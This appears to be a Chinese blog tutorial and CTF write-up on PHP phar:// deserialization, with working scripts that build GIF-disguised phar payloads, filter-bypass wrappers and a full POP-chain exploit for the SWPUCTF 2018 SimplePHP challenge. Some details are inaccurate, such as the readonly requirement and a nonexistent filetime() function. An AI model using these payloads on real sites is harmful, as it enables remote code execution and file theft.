在上篇文章中我们铺垫了php反序列化漏洞的基础,在所举的例子中,我们利用反序列化漏洞总是要将构造的序列化字符串传入unserialize()函数,但事实上,随着代码安全性越来越高,这种利用难度也越来越大。
在2018年的Black Hat上,提出了 phar 文件会以序列化的形式存储用户自定义的 meta-data "这一特性,从而拓展了 php 反序列化漏洞的攻击面,这也正是本文要讲解的内容——phar 伪协议触发 php 反序列化。
什么是Phar
Phar(PHP Archive)是 PHP 的打包格式,类似 Java 的 JAR,可将多个 PHP 文件打包成一个 .phar 文件。
Phar文件结构:
Phar 的 Manifest 部分以 serialize() 格式存储用户自定义的 Metadata,而 PHP 在解析 Phar 文件时会自动反序列化这段数据。
__HALT_COMPILER()
__HALT_COMPILER() 是 PHP 的一个内置语言结构,作用是让 PHP 解析器在此处停止解析,后面的内容不再当作 PHP 代码执行。
Phar 文件的结构要求 Stub(入口代码)必须以 __HALT_COMPILER(); 结尾。这个标志告诉 PHP:
- 前面的部分 → 当作普通 PHP 代码执行
- 后面的部分 → 当作二进制数据(Manifest、文件内容、签名)原样保留,不解析
如果没有这个标志,PHP 会试图把后面的二进制数据也当 PHP 代码来解析,直接报错。
实际代码中的样子:
<?php
echo "这行会执行";
__HALT_COMPILER();
?>
// 这里开始是 Phar 的二进制数据区,PHP 完全忽略正因为 __HALT_COMPILER() 之前的内容可以是任意 PHP 代码,所以攻击者可以把 Stub 写成:
GIF89a<?php __HALT_COMPILER(); ?>开头的 GIF89a 是 GIF 图片的魔术字节,能骗过 getimagesize() 等图片检测函数,而 PHP 解析 phar:// 时只关心 __HALT_COMPILER() 在哪里,不在乎前面写了什么。
Metadata
Phar 中的 Metadata 是附加在 Phar 归档文件上的任意 PHP 数据,本质上就是一个可以存放任何 PHP 值(对象、数组、字符串等)的"附加信息槽"。
Metadata 的设计初衷是让开发者给打包文件附加描述信息,比如版本号、作者、依赖等,类似 composer.json 的概念。
Phar 在写入时用 serialize() 把 Metadata 转成字节串存进文件;在读取时用 unserialize() 还原。这个反序列化是 PHP 内核自动完成的,发生在任何文件系统函数访问 phar:// 路径的瞬间,不需要代码里显式调用 unserialize()。
所以当攻击者把一个恶意对象写进 Metadata,只要能让服务器对该文件执行任意文件操作,PHP 就会自动把恶意对象还原出来,并触发它的魔术方法(__wakeup、__destruct 等)。
Phar漏洞原理
当 PHP 文件系统函数操作一个以 phar:// 开头的路径时,PHP 会自动解析该 Phar 文件并无条件反序列化 Manifest 中的 Metadata,整个过程无需调用 unserialize()。

构造Phar文件
首先,要想在本地构建一个phar文件,php.ini 中的phar.readonly 必须为Off。
Claude:
phar.readonly是 PHP 的一个php.ini配置指令,用于控制是否允许通过 PHP 代码创建或修改 Phar 归档文件。
phar.readonly = On(默认值):禁止通过 PHP 脚本创建或写入.phar文件。只能读取已有的 Phar 包,无法用代码生成新的 Phar。phar.readonly = Off:允许 PHP 脚本创建、修改 Phar 归档文件,开发打包工具时必须关闭它。出于安全考虑,默认值为On。Phar 文件是可执行的 PHP 归档包,如果允许任意脚本随意创建 Phar,攻击者可能利用文件上传漏洞构造恶意 Phar 文件,进而触发反序列化漏洞(即著名的 Phar 反序列化攻击)。

我们手动生成一个phar文件:
<?php
//反序列化payload构造
class TestObject {
}
//实例一个phar对象供后续操作,后缀名必须为phar
$phar = new Phar("JerryGao.phar");
//开始缓冲对phar的写操作
$phar->startBuffering();
/*设置识别phar拓展的标识stub,必须以 __HALT_COMPILER(); ?> 结尾*/
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//将反序列化的对象放入该文件中
$o = new TestObject();
$o->data='i am JerryGao';
//将自定义的归档元数据meta-data存入manifest
$phar->setMetadata($o);
//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("test.txt", "JerryGao");
//停止缓冲对phar的写操作
$phar->stopBuffering();
?>运行后,可以看到当前路径下多了一个phar文件

使用010 editer打开,可以看到我们放入metadata中的TestObject类被序列化了,那么有序列化数据必然会有反序列化操作,php中的文件系统函数在通过phar://伪协议解析phar文件时,都会将 metadata 进行反序列化操作

以下是能够触发 phar:// 反序列化的常见函数:
| 分类 | 函数 | 说明 |
|---|---|---|
| 文件检测 | file_exists() |
检查文件是否存在 |
is_file() |
判断是否为文件 | |
is_dir() |
判断是否为目录 | |
is_readable() |
判断是否可读 | |
is_writable() |
判断是否可写 | |
is_executable() |
判断是否可执行 | |
| 文件读写 | file_get_contents() |
读取文件内容 |
file_put_contents() |
写入文件内容 | |
file() |
读取文件到数组 | |
fopen() |
打开文件句柄 | |
| 文件信息 | stat() |
获取文件状态 |
filesize() |
获取文件大小 | |
filetime() |
获取文件时间 | |
| 目录操作 | opendir() |
打开目录 |
dir() |
目录对象 | |
scandir() |
列出目录文件 | |
glob() |
匹配文件路径 | |
| 图像处理 | getimagesize() |
获取图像尺寸 |
imagecreatefromjpeg() |
从 JPEG 创建图像 | |
imagecreatefrompng() |
从 PNG 创建图像 | |
imagecreatefromgif() |
从 GIF 创建图像 | |
exif_read_data() |
读取 EXIF 信息 | |
exif_thumbnail() |
读取 EXIF 缩略图 | |
| 哈希/校验 | hash_file() |
计算文件哈希 |
md5_file() |
计算文件 MD5 | |
sha1_file() |
计算文件 SHA1 | |
| 其他 | copy() |
复制文件 |
rename() |
重命名文件 | |
unlink() |
删除文件 | |
zip_open() |
打开 ZIP 文件 |
现在我们对刚才生成的 phar 使用文件操作函数实现反序列化读取:
<?php
class TestObject{
function __destruct(){
echo $this->data;
}
}
$filename = "phar://JerryGao.phar/test.txt";
file_get_contents($filename);
?>
可以看到 __destruct魔术方法自动执行了,说明php确实将我们自定义的matadata内容自动反序列化了
file_get_contents 读取文件时,PHP检测到 phar:// 协议,于是:
phar://协议被识别 ↓ 解析 JerryGao.phar 的 Manifest ↓ 自动反序列化 metadata 中的对象 ↓ 还原出 TestObject 实例(data = 'i am JerryGao') ↓ 脚本结束,对象销毁,__destruct() 自动触发 ↓ echo $this->data → 输出 "i am JerryGao"
伪装Phar文件
很多网站有文件上传功能,但会限制上传类型,比如只能传 jpg / png / gif / txt ...,我们的 php phar是肯定不能直接上传的,所以我们需要将 phar 文件伪装一下
PHP 解析 phar 文件时,不看文件后缀,只看文件内容的魔术字节,也就是 __HALT_COMPILER();?> 这段代码,对前面的内容或者后缀名是没有要求的。所以把 phar 改名为任何后缀都能被 phar:// 正确解析,比如:
phar://upload/evil.jpg/test.txt
phar://upload/evil.png/test.txt
phar://upload/evil.gif/test.txt 我们伪装测试一下:
<?php
class TestObject {
}
$phar = new Phar("photo.phar");
$phar->startBuffering();
//设置stub,增加gif文件头
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new TestObject();
$o->data = 'i am JerryGao';
//将自定义meta-data存入manifest
$phar->setMetadata($o);
//添加要压缩的文件
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>上面的代码会生成一个以 GIF89a 开头的 phar文件,使用010 editer打开能够看的更清楚

这种方法可以绕过一些校验文件头的上传点
简单案例
upload.php
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else{
echo "Invalid file,you can only upload gif";
}
?>upload.html
<body>
<form action="http://127.0.0.1/Phar/demo/upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>file.php
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename); // 漏洞点
?>upload.php来接收一个gif文件,验证MIME类型和文件扩展名,确保是gif文件。随后在 file.php 中存在 file_exists ,并且参数 filename 完全可控,还存在 __destruct 方法,里面有个 eval 直接执行命令。
所以我们就可以先根据 file.php 写一个生成phar文件的脚本,随后将这个phar伪装上传,再在file.php文件中将phar:// 伪协议传入 filename ,读取我们上传的phar,从而自动反序列化,执行eval。
构造payload的代码phpinfo.php:
<?php
class AnyClass{
var $output;
function __construct(){
$this->output = "phpinfo();"; //给output赋值
}
}
$phar = new Phar('phpinfo.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$a = new AnyClass();
//将我们构造的AnyClass对象放入Metadata
$phar -> setMetadata($a);
$phar -> stopBuffering();
?>随后会生成一个 phpinfo.phar 文件,我们手动将后缀改为 .gif,随后通过 upload.html 上传
成功上传后,我们来到 file.php 试着读取它,直接get传入:
http://127.0.0.1/Phar/demo/file.php?filename=phar://upload_file/phpinfo.gif成功执行了

这个案例比较简单,意在感受整个利用原理。
利用条件
总结一下,Phar 反序列化漏洞的利用条件略微有些苛刻,需满足如下四个条件:
条件一:目标代码中存在可利用的魔术方法(POP 链)
反序列化触发后需要有"着力点",常见的有:
__wakeup() // 反序列化时自动调用
__destruct() // 对象销毁时自动调用(最常用)
__toString() // 对象被当作字符串时调用例如存在这样的危险类:
class Logger {
public $filename;
public $data;
public function __destruct() {
file_put_contents($this->filename, $this->data); // 可写任意文件
}
}条件二:能够将 phar 文件上传到服务器
常见上传途径:
- 文件上传功能(即使校验了后缀,phar可以伪装成图片)
- 允许上传的任意二进制文件
- 其他写文件的功能
条件三:存在文件操作函数,且参数可控
PHP 很多文件操作函数支持 phar:// 协议,只要读取 phar 文件就会触发反序列化:
// 以下函数都能触发
file_get_contents("phar://upload/evil.gif")
file_exists("phar://upload/evil.gif")
is_file("phar://upload/evil.gif")
fopen("phar://upload/evil.gif", "r")
include("phar://upload/evil.gif")
......关键是参数中的路径可控。
条件四:phar.readonly = Off
php.ini 中这个配置必须是关闭状态,否则不能正常执行反序列化操作。
有时候文件操作函数可能过滤/禁用了 phar ,我们需要用一些替代方法:
compress.zlib://phar://phar.phar/test.txt
compress.bzip2://phar://phar.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt实战案例
这里有一道CTF题目,地址:
https://buuoj.cn/challenges#[SWPUCTF 2018]SimplePHP进入题目,可以看到有三个页面,分别对应 index.php,file.php,upload_file.php,其中在查看文件页面(file.php),出现了file.php?file= 可以让我们在URL地址栏输入文件名以查看文件

所以我们查看一下这道题的关键源码
file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
class.php
·<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
//str = new Show();
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
//str['str'] = Test->
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
base.php
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->
通读代码,发现最终的落脚点其实是在 class.php 中的 Test 类,有个 file_get_contents 函数,位于file_get 方法中,并传入 $value 直接读取任意文件内容。再往上看,get 方法中调用了 file_get 方法,并且在 if 判断中将 params 数组(__construct方法给params赋了个空数组array())中 $key 对应的值赋给 $value 。get 方法又被 __get 方法调用,所以我们要想办法调用 Test 类中的 __get 方法。
当读取不可访问或不存在的属性时,会触发 __get 方法。于是我们在 Show 方法中的 __toString 方法找到了$this->str['str']-source,如果 $str 是我们的 Test 对象,那么就会访问不存在的 source 属性,触发 __get
那么现在就要想办法调用 __toString 方法,当一个对象被当做字符串调用时,便会触发。刚好在 C1e4r 类中的__destruct方法里,存在 echo $this->test ,如果 $str 的值是 Show 对象,那么就会触发。
完整利用链:
| 步骤 | 触发位置 | 触发条件 | 作用 |
|---|---|---|---|
| ① | C1e4r::__destruct |
对象销毁时自动触发 | echo $this->test,将 Show 对象作为字符串输出 |
| ② | Show::__toString |
Show 对象被 echo | 访问$this->str['str']->source,str['str']是 Test 对象 |
| ③ | Test::__get |
访问 Test 不存在的属性source |
调用$this->get('source') |
| ④ | Test::get |
由__get 调用 | 取params['source']=/flag,传入 file_get |
| ⑤ | Test::file_get |
由 get 调用 | file_get_contents('/flag') 读取文件,base64 返回 |
EXP构造:
<?php
class C1e4r{
public $str;
public $test;
}
class Show{
public $str;
public $source;
}
class Test{
public $params;
}
//创建对象
$test = new Test();
$show = new Show();
$clear = new C1e4r();
//为对象属性赋值
$clear-> str = $show;
$show->str['str'] = $test;
$test->params['source'] = "/var/www/html/f1ag.php";
//创建phar文件
$phar = new Phar("flag.phar"); //创建phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //设置stub标识
$phar->setMetadata($clear); //设置要触发序列化的内容,这里写入C1e4r类,因为是整个利用链的入口
$phar->addFromString("test.txt","test"); //添加phar文件内容,生成签名
$phar->stopBuffering();值得一提的是,为什么要这样赋值flag路径?
$test->parms['source'] = "/var/www/html/f1ag.php";
或者说,为什么key 是 source?核心在于__get 的触发机制。在__toString() 中:
public function __toString()
{
$content = $this->str['str']->source; // 关键在这里
return $content;
}$this->str['str'] 是 Test 对象,所以这句话等价于:
$content = $test->source; // 访问 Test 对象的 source 属性而Test 类根本没有 source 属性
class Test
{
public $file; // 只有这两个属性
public $params;
}当你访问一个不存在的属性时,PHP 自动触发 __get(),并把属性名作为参数传进去:
public function __get($key)
{
// 此时 $key = "source"
return $this->get($key);
}所以 params 的 key 必须也是 source
public function get($key) // $key = "source"
{
if(isset($this->params[$key])) { // 查找 params["source"]
$value = $this->params[$key]; // 取出 params["source"] 的值
}
return $this->file_get($value);
}get() 用 $key 去 params 数组里查找,而 $key 就是 "source",所以必须把路径存在 params['source'] 里,才能被正确取到。
简言之:
__toString()里访问了$test->source,这个source就变成了__get($key)的$key,然后get()拿这个$key去params数组里查,所以params的 key 必须和访问的属性名一致,都是source。
所以说,属性名是一路传递下来决定的,并不是随便起的名字。
所以我们在本地生成一下phar文件,并将后缀改成 gif 并上传


随后在 upload 路径下可以看到我们上传的文件

再使用 phar:// 读取即可

base64解码得到:
<?php
//$a = 'flag{bd433f76-7172-4c51-81e4-73a4f0c166b0}';
?>总结
phar反序列化漏洞本质在于 Phar 文件的 Manifest 以 serialize() 格式存储 Metadata,PHP 在解析 phar:// 路径时会无条件自动反序列化这段数据,整个过程不需要代码中存在任何显式的 unserialize() 调用。这意味着反序列化的攻击面从"哪里调用了 unserialize"扩展到了"哪里用文件操作函数处理了可控路径",大幅增加了漏洞的隐蔽性。
防御角度而言,应当严格校验文件上传的实际内容而非仅凭后缀或 MIME 类型判断,对文件操作函数的路径参数进行白名单过滤,禁止 phar:// 等危险协议传入,同时在生产环境保持 phar.readonly = On。
下一篇文章会详细分析 ThinkPHP 框架中的反序列化漏洞
版权声明:本文采用 CC BY-NC-SA 4.0 协议授权,转载请注明出处并保留原始链接。
原文链接:https://www.jerrygao.cn//blog/phppharE4BCAAE58D8FE8AEAEE8A7A6E58F91E58F8DE5BA8FE58897E58C96E6BC8FE6B49E
评论 0
还没有评论,成为第一个留言的人吧!
